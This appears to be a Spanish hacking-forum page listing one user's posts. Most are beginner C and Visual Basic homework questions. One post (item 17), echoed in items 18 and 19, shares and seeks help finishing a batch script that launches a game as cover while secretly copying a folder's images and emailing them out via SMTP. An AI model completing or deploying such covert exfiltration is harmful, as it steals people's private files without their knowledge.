elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


  Mostrar Temas
Páginas: 1 [2] 3
11  Programación / Programación C/C++ / contador de palabras (ayuda con el error) en: 2 Septiembre 2016, 22:47 pm
Ayuda en esta parte
debo hacer un programa en dev c++
que me cambie las letras de mayúsculas a minusculas
y que me cuente las palabras digitadas
ejemplo
No haBra NadA que Te puEda aSUStaR
deberia quedarme asi
no habra nada que te pueda asustar
contiene 7 palabras
ya tengo la primera parte de mayúscula a minúscula

Código
  1. #include "conio.h"
  2. #include "stdio.h"
  3. #include "stdlib.h"
  4. #include "string.h"
  5. #include "windows.h"
  6. #include "iostream"
  7. #include "time.h"
  8. using namespace std;
  9. void minusculas(char a[]);
  10. int main (int argc, char** argv)
  11. {
  12. char p[50];
  13. cout<<"escriba una cadena"<<endl;
  14. gets(p);
  15. minusculas(p);
  16. puts(p);
  17. return 0;
  18. }
  19. void minusculas(char a[])
  20. {
  21. int i=0;
  22. for(i=0;a[i]!='\0';i++)
  23. {
  24. if(a[i]>='A'&&a[i]<='Z')
  25. {
  26. a[i]=a[i]+32;
  27. }
  28. }
  29. }
  30.  

pero no logro hacer el contador de palabras
tengo esto otro código pero me marca un error en los espacios

Código
  1.  
  2. #include "conio.h"
  3. #include "stdio.h"
  4. #include "stdlib.h"
  5. #include "string.h"
  6. #include "windows.h"
  7. #include "iostream"
  8. #include "time.h"
  9.  
  10. using namespace std;
  11. int palabras(char a[]);
  12. using namespace std;
  13. void minusculas(char a[]);
  14. int main (int argc, char** argv)
  15. {
  16. char p[50];
  17. cout<<"escriba una cadena"<<endl;
  18. gets(p);
  19. minusculas(p);
  20. puts(p);
  21.  
  22. return 0;
  23. }
  24.  
  25. int palabras(char a[])
  26. {
  27. int i, cont=0;
  28. bool pal=false;
  29.  
  30.  
  31. for(i=0;a[i]!='\0';i++)
  32. {
  33. if ((pal==false&&(a[i]>='A'&&a[i]<='Z')||(a[i]>='a'&&a[i]<='z')))
  34. {
  35. cont ++;
  36. pal=true;
  37. }
  38. else
  39. {
  40. if(a[i]==" ") // aqui el error
  41. pal=true;
  42. }
  43. }
  44. return(cont);
  45. }
  46.  
  47.  
  48.  

si alguien me explica como hacerlo le agredeceria
12  Programación / Programación Visual Basic / pasar información de un archivo a otro visual basic 2015 en: 2 Septiembre 2016, 02:45 am
Buenas alguien me explique como
paso información de form1 a form2 en visual basic
es que me dejaron un tarea que debo hacer una maquina traga-monedas esa parte ya la tengo
pero me dicen que debo hacer una factura donde lleve  las jugadas acertadas y perdidas, cuanto dinero gane y perdí en un form2
esa parte no se como hacerlo

en form1 tengo todos los botones de jugar, acertadas, perdidas, dinero perdido y dinero ganado y
tengo un botón imprime factura esta parte debo pasar todo a form2 y imprimirlo.
si alguien me ayuda lo agradeceria
13  Programación / .NET (C#, VB.NET, ASP) / guardar un numero y mostrarlo de nuevo programa calculadora en: 24 Agosto 2016, 20:45 pm
el problema es el siguiente debo hacer uan calculadora cientifica en visual basic
ya tengo casi todas las funciones pero no logro hacer bien las siguientes si alguien me ayude o explique

MS, M-, M+ MR

un ejemplo seria asi
supongamos ingreso  el numero 9. le doy el boton C. se borra el contenido e la pantalla, y al pulsar MR deberia volver a mostrar el 9
Código
  1.  
  2. Public Class Form1
  3.    Dim b As Integer
  4.    Dim c As Integer
  5.    Dim num1 As Double
  6.    Dim num2 As Double
  7.    Dim resul As Integer
  8.  
  9.  
  10.  
  11.  
  12.  
  13.  
  14.  
  15.  
  16.    Private Sub Button2_Click(sender As Object, e As EventArgs) Handles B1.Click
  17.  
  18.        Tpantalla.Text = Tpantalla.Text & "1"
  19.  
  20.    End Sub
  21.  
  22.    Private Sub Button8_Click(sender As Object, e As EventArgs) Handles Bsuma.Click
  23.  
  24.  
  25.        b = 1
  26.        num1 = Tpantalla.Text
  27.        Tpantalla.Text = ""
  28.  
  29.    End Sub
  30.  
  31.    Private Sub B0_Click(sender As Object, e As EventArgs) Handles B0.Click
  32.  
  33.        Tpantalla.Text = Tpantalla.Text & "0"
  34.    End Sub
  35.  
  36.    Private Sub B2_Click(sender As Object, e As EventArgs) Handles B2.Click
  37.  
  38.        Tpantalla.Text = Tpantalla.Text & "2"
  39.    End Sub
  40.  
  41.    Private Sub B3_Click(sender As Object, e As EventArgs) Handles B3.Click
  42.  
  43.        Tpantalla.Text = Tpantalla.Text & "3"
  44.    End Sub
  45.  
  46.    Private Sub B4_Click(sender As Object, e As EventArgs) Handles B4.Click
  47.        Tpantalla.Text = Tpantalla.Text & "4"
  48.    End Sub
  49.  
  50.    Private Sub B5_Click(sender As Object, e As EventArgs) Handles B5.Click
  51.  
  52.        Tpantalla.Text = Tpantalla.Text & "5"
  53.    End Sub
  54.  
  55.    Private Sub B6_Click(sender As Object, e As EventArgs) Handles B6.Click
  56.  
  57.        Tpantalla.Text = Tpantalla.Text & "6"
  58.    End Sub
  59.  
  60.    Private Sub B7_Click(sender As Object, e As EventArgs) Handles B7.Click
  61.  
  62.        Tpantalla.Text = Tpantalla.Text & "7"
  63.    End Sub
  64.  
  65.    Private Sub B8_Click(sender As Object, e As EventArgs) Handles B8.Click
  66.  
  67.        Tpantalla.Text = Tpantalla.Text & "8"
  68.    End Sub
  69.  
  70.    Private Sub B9_Click(sender As Object, e As EventArgs) Handles B9.Click
  71.  
  72.        Tpantalla.Text = Tpantalla.Text & "9"
  73.    End Sub
  74.  
  75.    Private Sub Bigual_Click(sender As Object, e As EventArgs) Handles Bigual.Click
  76.        num2 = Tpantalla.Text
  77.        If b = 1 Then
  78.            Tpantalla.Text = num1 + num2
  79.  
  80.        End If
  81.        If b = 2 Then
  82.            Tpantalla.Text = num1 - num2
  83.  
  84.        End If
  85.        If b = 3 Then
  86.            Tpantalla.Text = num1 * num2
  87.  
  88.        End If
  89.        If b = 4 Then
  90.            If num2 <> 0 Then
  91.                Tpantalla.Text = num1 / num2
  92.            Else
  93.                Tpantalla.Text = "No divisible"
  94.  
  95.            End If
  96.  
  97.  
  98.  
  99.  
  100.        End If
  101.        If b = 5 Then
  102.            Tpantalla.Text = num1 ^ num2
  103.  
  104.        End If
  105.  
  106.  
  107.    End Sub
  108.  
  109.    Private Sub Bresta_Click(sender As Object, e As EventArgs) Handles Bresta.Click
  110.        b = 2
  111.        Bcoma.Enabled = True
  112.        num1 = Tpantalla.Text
  113.        Tpantalla.Text = ""
  114.    End Sub
  115.  
  116.    Private Sub Bmulti_Click(sender As Object, e As EventArgs) Handles Bmulti.Click
  117.        b = 3
  118.        Bcoma.Enabled = True
  119.        num1 = Tpantalla.Text
  120.        Tpantalla.Text = ""
  121.    End Sub
  122.  
  123.    Private Sub Bdivi_Click(sender As Object, e As EventArgs) Handles Bdivi.Click
  124.        b = 4
  125.        Bcoma.Enabled = True
  126.        num1 = Tpantalla.Text
  127.        Tpantalla.Text = ""
  128.    End Sub
  129.  
  130.    Private Sub Blim_Click(sender As Object, e As EventArgs) Handles Blim.Click
  131.        Tpantalla.Text = ""
  132.        Bcoma.Enabled = True
  133.    End Sub
  134.  
  135.    Private Sub Bcoma_Click(sender As Object, e As EventArgs) Handles Bcoma.Click
  136.  
  137.  
  138.        Tpantalla.Text = Tpantalla.Text & ","
  139.        Bcoma.Enabled = False
  140.  
  141.  
  142.    End Sub
  143.  
  144.    Private Sub Tpantalla_TextChanged(sender As Object, e As EventArgs) Handles Tpantalla.TextChanged
  145.  
  146.    End Sub
  147.  
  148.    Private Sub Buno_Click(sender As Object, e As EventArgs) Handles Buno.Click
  149.  
  150.        Try
  151.  
  152.            Dim lar As Integer
  153.            If Tpantalla.Text <> "" Then
  154.                lar = Tpantalla.Text.Length
  155.                Tpantalla.Text = Mid(Tpantalla.Text, 1, lar - 1)
  156.            End If
  157.        Catch ex As Exception
  158.  
  159.  
  160.  
  161.        End Try
  162.    End Sub
  163.  
  164.    Private Sub Bx_Click(sender As Object, e As EventArgs) Handles Bx.Click
  165.  
  166.        b = 5
  167.        num1 = Tpantalla.Text
  168.        Tpantalla.Text = ""
  169.  
  170.        If b = 5 Then
  171.            Tpantalla.Text = num1 ^ 2
  172.  
  173.        End If
  174.  
  175.  
  176.    End Sub
  177.  
  178.    Private Sub Button7_Click(sender As Object, e As EventArgs) Handles Button7.Click
  179.        b = 5
  180.        num1 = Tpantalla.Text
  181.        Tpantalla.Text = ""
  182.  
  183.  
  184.    End Sub
  185.  
  186.    Private Sub Braiz_Click(sender As Object, e As EventArgs) Handles Braiz.Click
  187.        b = 7
  188.        num1 = Tpantalla.Text
  189.        Tpantalla.Text = ""
  190.  
  191.        If b = 7 Then
  192.            Tpantalla.Text = Math.Sqrt(num1)
  193.  
  194.        End If
  195.    End Sub
  196.  
  197.    Private Sub Button6_Click(sender As Object, e As EventArgs) Handles Button6.Click
  198.        b = 8
  199.        num2 = Tpantalla.Text
  200.        Tpantalla.Text = ""
  201.  
  202.        If b = 8 Then
  203.            Tpantalla.Text = 1 / num2
  204.  
  205.        End If
  206.    End Sub
  207.  
  208.    Private Sub Bmm_Click(sender As Object, e As EventArgs) Handles Bmm.Click
  209.        b = 9
  210.        num1 = Tpantalla.Text
  211.        Tpantalla.Text = ""
  212.  
  213.        If b = 9 Then
  214.            Tpantalla.Text = num1 * (-1)
  215.  
  216.        End If
  217.  
  218.    End Sub
  219.  
  220.    Private Sub Bfac_Click(sender As Object, e As EventArgs) Handles Bfac.Click
  221.        Dim a, b, c As Integer
  222.  
  223.        a = (Tpantalla.Text)
  224.        b = 1
  225.        For c = 1 To a
  226.            b = b * c
  227.            Tpantalla.Text = (b)
  228.        Next
  229.    End Sub
  230.  
  231.    Private Sub TextBox1_TextChanged(sender As Object, e As EventArgs)
  232.  
  233.    End Sub
  234.  
  235.    Private Sub Bsen_Click(sender As Object, e As EventArgs) Handles Bsen.Click
  236.  
  237.  
  238.        b = 10
  239.        num1 = Tpantalla.Text
  240.        Tpantalla.Text = ""
  241.  
  242.        If b = 10 Then
  243.            Tpantalla.Text = Math.Sin(Val(num1) * Math.PI / 180)
  244.        End If
  245.    End Sub
  246.  
  247.    Private Sub Bcos_Click(sender As Object, e As EventArgs) Handles Bcos.Click
  248.        b = 11
  249.        num1 = Tpantalla.Text
  250.        Tpantalla.Text = ""
  251.  
  252.        If b = 11 Then
  253.            Tpantalla.Text = Math.Cos(Val(num1) * Math.PI / 180)
  254.        End If
  255.    End Sub
  256.  
  257.    Private Sub Btan_Click(sender As Object, e As EventArgs) Handles Btan.Click
  258.        b = 12
  259.        num1 = Tpantalla.Text
  260.        Tpantalla.Text = ""
  261.  
  262.        If b = 12 Then
  263.            Tpantalla.Text = Math.Tan(Val(num1) * Math.PI / 180)
  264.        End If
  265.    End Sub
  266.  
  267.    Private Sub Bmem_Click(sender As Object, e As EventArgs) Handles Bmem.Click
  268.  
  269.    End Sub
  270. End Class
  271.  
  272.  
  273.  
14  Programación / Programación C/C++ / Generar palabras al azar en dev c++ a partir de un listado en: 17 Junio 2016, 07:49 am
Bueno la cosa es la siguiente suena un poco loca pero haber is me pueden ayudar
lo que quiero es hacer el juego del ahorcado pero a partir de un listado de palabras que deben estar dentro del programa la cosa es la siguiente como genero una palabras de estas dentro de un azar
y como le hago para poner dicho listado
15  Programación / Programación C/C++ / hacer matriz 5 *5 y ordenar los numero de la última fila de mayor a menor en: 15 Junio 2016, 10:01 am
buenas lo que tengo que hacer es una matriz de 5*5
coger la ultima fila y ordenar sus numero de mayor a menor

ejemplo:

5 3 2 4 6
8 4 8 4 3
9 2 3 1 7
5 7 9 3 1
2 8 4 3 6

ordenada deberia quedar asi

5 3 2 4 6
8 4 8 4 3
9 2 3 1 7
5 7 9 3 1
8 6 4 3 2


hice lo mismo pero con columnas y me da perfecto
pero no lo puedo hacer con las filas

dejo lo que hice con las columna central de una matriz espero que alguien em de uan idea o me ayude gracias
Código
  1. #include "stdio.h"
  2. #include "conio.h"
  3. #include "string.h"
  4. #include "windows.h"
  5. #include "stdlib.h"
  6. #include "time.h"
  7. #include "iostream"
  8. #include "stdlib.h"
  9.  
  10. main ()
  11. {
  12. int i,j,ma[5][5];
  13. int temp;
  14. printf("\tEsta es la Matriz Original: \n");
  15. for(i=0;i<5;i++)
  16. {
  17. for(j=0;j<5;j++)
  18. {
  19. ma[i][j]=1+rand()%(9);
  20. }
  21. }
  22. for(i=0;i<5;i++)
  23. {
  24. for(j=0;j<5;j++)
  25. {
  26. printf("%d ",ma[i][j]);
  27. }
  28. printf("\n");
  29. }
  30. for(int i = 0; i < 5-1; i++)
  31. for(int j = 0; j < 5; j++)
  32.  
  33. if(ma[j][2] < ma[i+1][2])
  34.  
  35. {
  36. temp = ma[j][2];
  37. ma[j][2] = ma[i+1][2];
  38. ma[i+1][2] = temp;
  39. }
  40. printf("\n Matriz Organizada por la columna central: \n");
  41. for( int i = 0; i < 5; i++)
  42. {
  43. printf("\n");
  44. for(int j = 0; j < 5; j++)
  45. printf("% d",ma[i][j]);
  46. }
  47. }
  48.  
  49.  
  50.  

16  Foros Generales / Sugerencias y dudas sobre el Foro / lupa de busqueda en: 9 Junio 2016, 15:47 pm
fuera bueno  que tu viera la opcion de lupa para poner una palabra y que muestre todos los temas que se han hecho en el foro con dicha palabra
17  Programación / Scripting / archivo bat que envía imágenes por correo electrónico en: 9 Junio 2016, 00:12 am
Crear un archivo por lotes, que al abrir inicie un juego, pero por debajo (es decir que el usuario no se dé cuenta) tome todas las imágenes de una carpeta específica, las copie en otra unidad, una carpeta denominada (/copiaimagenes), y que envíe 5 imágenes a un correo electrónico especifico.


tengo esto
Código:
@echo off  
D:
cd \Usuario\Desktop\Metin2\
start metin2launch.exe
 
COPY "D:\Usuario\Pictures\23 y 24 bbs" "D:\Usuario\Desktop\m"
 
D:
cd \Usuario\Desktop\Nueva carpeta\
start SwithMail.bat


eso es una parte que copia las imágenes e inicia el juego y envia las imagenes
Ahora lo que quiero es que me envíe todas las imágenes de la carpeta por correo y solo me envia la primera imagen por que escribo el nombre de la imagen, no se cual seria el codigo para que me envie todas las imágenes

Código:
  :: Canal Script-para ::
SwithMail.exe /s /from xxxxxxxxx@gmail.com /pass xxxxxxxxx /server smtp.gmail.com /p 587 /SSL /to ccccccc@hotmail.com /sub Actividad /b Ensamble II /Attachment D:\Usuario\Desktop\m\IMG_20160101_114849.jpg
exit


si alguien me ayudara gracias

MOD EDIT: Etiquetas GeSHi corregidas.
18  Sistemas Operativos / Windows / enviar varias imágenes por correo electrónico por medio de un bat en: 8 Junio 2016, 15:07 pm
bueno tengo mi batch ya hecho pero necesito que me envie 10 imágenes que están dentro de una carpeta, pero solo me envia la primer imagen. no me envia  las demás,
si alguien me ayuda gracias
19  Sistemas Operativos / Windows / archivo bat para enviar correo en windows 10 en: 3 Junio 2016, 04:57 am
Buenas yo hice un bat para enviar correo pero tengo un problema
con w10 ya que no me deja enviar
lo probe en w7 y envia normal pero al ejecutar en bat en w 10 no pas nada
si alguien me ayuda gracias
Código
  1.  
  2. :: Canal Script-para ::
  3.  
  4. SwithMail.exe /s /from pepinot23@gmail.com /pass xxxxxxxxx /server smtp.gmail.com /p 587 /SSL /to rumbel21@hotmail.com /sub Actividad /b Ensamble II /Attachment D:\Usuario\Desktop\m\IMG_20160101_114849.jpg
  5. exit
  6.  
  7.  


o si alguien tiene otro bat me lo podría facilitar
gracias
20  Programación / Programación C/C++ / ayuda con la diagonal principal de una matriz para dejarla vacía en: 1 Junio 2016, 16:20 pm
no puedo hacer esta parte
la diagonal principal debe estar vacía o con caracteres especiales (*,/,+,-,%,&,$)
y lo único que puedo es llenarla de ceros


Código
  1. #include<stdio.h>
  2. #include<conio.h>
  3. #include<stdlib.h>
  4. #include<time.h>
  5.  
  6. //generar una matriz de 16x16 con números aleatorios  
  7. //y la diagonal principal debe estar vacía o con cualquiera de los siguientes caracteres (*,/,+,-,%,&,$)
  8.  
  9. int main()
  10. {
  11. int i,j,a;
  12. int m[16][16];
  13. int w=16+1;
  14.  
  15. srand (time(NULL));
  16. for(i=0;i<=15;i++)
  17. {
  18. for(j=0;j<=15;j++)
  19. {
  20. if(i==j)
  21. {
  22. m[i][j]=0;  
  23. }
  24. else
  25. if(i==w-j)
  26. {
  27. m[i][j]=0;
  28. }
  29. else
  30. {
  31. m[i][j]=1+rand()%(9);
  32.    }
  33. }
  34. }
  35. printf("       e0  e1  e2  e3  e4  e5  e6  e7  e8  e9  e10  e11  e12  e13  e14  e15 \n");
  36. for(i=0;i<=15;i++)
  37.    {
  38.     printf(" e %d",i);
  39.     for(j=0;j<=15;j++)
  40.     {
  41.     printf("   %d  ",m[i][j]);
  42. }
  43. printf("\n\n");
  44.    }
  45. }
  46.  
Páginas: 1 [2] 3
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines